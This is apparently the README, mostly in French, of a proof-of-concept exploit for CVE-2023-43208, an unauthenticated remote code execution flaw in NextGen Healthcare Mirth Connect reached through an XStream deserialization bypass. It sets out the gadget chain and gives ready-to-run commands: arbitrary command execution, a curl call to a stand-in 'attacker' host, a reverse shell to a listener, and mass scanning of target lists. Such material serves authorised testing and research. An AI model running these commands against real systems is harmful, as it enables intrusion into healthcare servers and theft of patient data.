
CVE-2023-43208: Mirth Connect Pré-authentification RCE PoC
Exécution de code à distance sans authentification préalable dans NextGen Healthcare Mirth Connect < 4.4.1 via un contournement de désérialisation XStream.
CVSS 9.8 (Critique) — Contournement du correctif de CVE-2023-37679
Mirth Connect utilise la bibliothèque Java XStream pour désérialiser les charges utiles XML sur le point de terminaison /api/users sans authentification. Le correctif initial (CVE-2023-37679) a introduit une liste noire de classes dangereuses, mais cela a été contourné en utilisant EventBindingInvocationHandler d'Apache Commons Lang3 combiné avec la chaîne InvokerTransformer de Commons Collections4.
Corrigé dans Mirth Connect 4.4.1 en passant d'une liste noire à une liste blanche.
pip install requests
Python 3.10+ (utilise les instructions match).
python3 exploit.py check -t https://target:8443
python3 exploit.py exec -t https://target:8443 -c "id"
python3 exploit.py exec -t https://target:8443 -c "curl http://attacker/pwned"
# Terminal 1 (or let the script handle the listener):
python3 exploit.py shell -t https://target:8443 --lhost 10.10.10.10 --lport 4444
# For better shell experience, use rlwrap:
rlwrap python3 exploit.py shell -t https://target:8443 --lhost 10.10.10.10 --lport 4444
python3 exploit.py scan -f targets.txt -o vulnerable.txt -T 30
POST /api/users (no auth)
│
▼
XStream deserializes XML payload
│
▼
sorted-set triggers Comparable.compareTo()
│
▼
dynamic-proxy → EventBindingInvocationHandler (bypasses denylist)
│
▼
ChainedTransformer.transform()
│
▼
ConstantTransformer(Runtime.class)
→ InvokerTransformer("getRuntime")
→ InvokerTransformer("invoke")
→ InvokerTransformer("exec", <command>)
│
▼
OS command execution as Mirth Connect service user
Cet outil est fourni uniquement à des fins de test de sécurité autorisé et de formation. L'accès non autorisé à des systèmes informatiques est illégal. Obtenez toujours une autorisation appropriée avant de tester.